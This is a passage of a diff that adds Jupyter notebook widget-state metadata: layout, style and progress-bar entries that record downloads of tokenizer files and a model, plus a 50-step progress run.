+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "64f6ec814be648d3ba69f94eb844a049": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "67a3104f358e48459f458fddf98b826e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "68b6a1a9d4c7422d9263e00cbd956be1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "693b0b6df20e4f2caeaeb4838b37d8bb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "69faef33b09f4da7b1c11639102b2a4f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6e0be2c85237496eb97b53963654dffa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_163075971def4198b5cc7a0d5ec3c81d",
+            "placeholder": "",
+            "style": "IPY_MODEL_9984e9b0a929433ab6e4501538a60c80",
+            "value": " 901/901 [00:00<00:00, 4.42kB/s]"
+          }
+        },
+        "6f400bad53794c7cbed09e4fd59c211d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4cecf6bc5f294968bcee7bf65896a31d",
+              "IPY_MODEL_5bb94e6390af4e81ac0e6b3a47445996",
+              "IPY_MODEL_af474aa6c91344da9a968e7e2488b74c"
+            ],
+            "layout": "IPY_MODEL_5a702086896f4a229e326fa05d616b35"
+          }
+        },
+        "73f2e3215913478aae13131aefadd0a5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "773661aa8b6e4c0db5238cfe398b2b5b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_67a3104f358e48459f458fddf98b826e",
+            "placeholder": "",
+            "style": "IPY_MODEL_b63595513fec4e81a0a8200294faf7ba",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "77755839ec0946c5b33488dd412f4d58": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7989fe19c8b749ddaa60c5c7b5cec0ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_773661aa8b6e4c0db5238cfe398b2b5b",
+              "IPY_MODEL_21d9342ed95d4bf0959647ef57fceb97",
+              "IPY_MODEL_0bb6ef1e3a2d43ca970723b0e5ac93cf"
+            ],
+            "layout": "IPY_MODEL_0b9c78977b6a45da9aa6ada3332fbc28"
+          }
+        },
+        "7badbb79920e43b9a6f6317e7b746384": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dfdaf22078fd4385ab30060981d67666",
+            "placeholder": "",
+            "style": "IPY_MODEL_3eee3667ff024f2a875dcf57f00d7f70",
+            "value": " 246M/246M [00:03<00:00, 92.0MB/s]"
+          }
+        },
+        "7d654e85d8794af197e72f905086b9a7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7d9b49d6dbfc41988b2c3c6ac40a3cae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7debd7332d4a4811ad653398344420f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7f0e7d1bd12b4d0eb800a3d62901c4a8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cbcfc8e9b02348a182722c846cecca2a",
+            "placeholder": "",
+            "style": "IPY_MODEL_ece36cbb62cd46a8b452fac32dce3493",
+            "value": " 50/50 [00:28<00:00,  1.73it/s]"
+          }
+        },
+        "7f29483722954a3697afb9cb24430e8c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_209020cdb39942178adbc7cc3acf1cb0",
+            "placeholder": "",
+            "style": "IPY_MODEL_e68ae70236b04e5aa6c5de879ca81e9e",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "80916d39f0bc426488b41a013196cc42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d44653455b8a490997da5bfd8672cf7e",
+            "max": 246184375,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_090573574f8d48a1b9d2918d14c75c9a",
+            "value": 246184375
+          }
+        },
+        "8120fb8694244e5dbbc448eb2a6e03dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "833477c7e6144deba2f9a7e1e3fb7c12": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "87d35ca268744638ad484ccf1a7fe2ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "89129c49f76e497a8fb218b8126dc4d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4ac86feba0924fad8c82be426d774ce4",
+              "IPY_MODEL_379e92c07edc4ad28165c8b0926746d5",
+              "IPY_MODEL_a144d82a835e4d48b987fecd5af96b6c"
+            ],
+            "layout": "IPY_MODEL_fc3fc7c8bb714f39a67963f2792b527d"
+          }
+        },
+        "8924eb6712b146bd977f21c46531338b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ede27ca6747240eeb41a9dbde664e8a7",
+              "IPY_MODEL_45ed824c2cd746c09e61dc8a2bdd3384",
+              "IPY_MODEL_3f94af984ba84b838643b03caf8d2d4e"
+            ],
+            "layout": "IPY_MODEL_2e9985de92164304b5b4c8b723d24cf1"
+          }
+        },
+        "8ae0743d19d74e3aabfe4b5ba54fd7ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0072680043674280bcde9c4bc19b3704",
+              "IPY_MODEL_13e357cba1ee4e31887f2c260f2cea15",
+              "IPY_MODEL_41c2930f406d484ca7e1e8a4c13f9b35"
+            ],
+            "layout": "IPY_MODEL_0468827f86394f7baf78d44264a225e7"
+          }
+        },
+        "8bef2ecbcbcf4ad1bb5e495a52ca2aa6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_62924d5b19784abcaa672d995fc15127",
+            "placeholder": "",
+            "style": "IPY_MODEL_833477c7e6144deba2f9a7e1e3fb7c12",
+            "value": " 511/511 [00:00<00:00, 11.2kB/s]"
+          }
+        },
+        "9307ea294e42484eb32d8b07fddd33dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b02317ef6e514fa9b2c58c64e7702533",
+            "placeholder": "",
+            "style": "IPY_MODEL_df83f20f558f43b9bf1e447316e9de4a",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "9512cb52fe3a44d0bd0f52daed6139d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_de35fccd4b4a433e8b468ef3981bede9",
+              "IPY_MODEL_ff35f85d2db0404da5e01fbda308197a",
+              "IPY_MODEL_221469404d3946f39b4c97e708385b88"
+            ],
+            "layout": "IPY_MODEL_1d6c6e3129bc4702afae1facf2b8ba6b"
+          }
+        },
+        "98eab664cdee4999bb09af5abe60535f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "99777597ceee470ca8c8a34f4846435a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9984e9b0a929433ab6e4501538a60c80": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9a2aa30940934458ae53131db74a7406": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9ac0da7a10a54fbe897b21184cdf154f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_faa6428f4b7b4cb996cc4d5ca9bcb38c",
+            "placeholder": "",
+            "style": "IPY_MODEL_b4f99623a96f4d18989cf117b4c91660",
+            "value": " 341/341 [00:00<00:00, 3.56kB/s]"
+          }
+        },
+        "9c751e805d96415d9608c2422906d76e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9e1a5419468d4549a38b8d23aa14f6d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
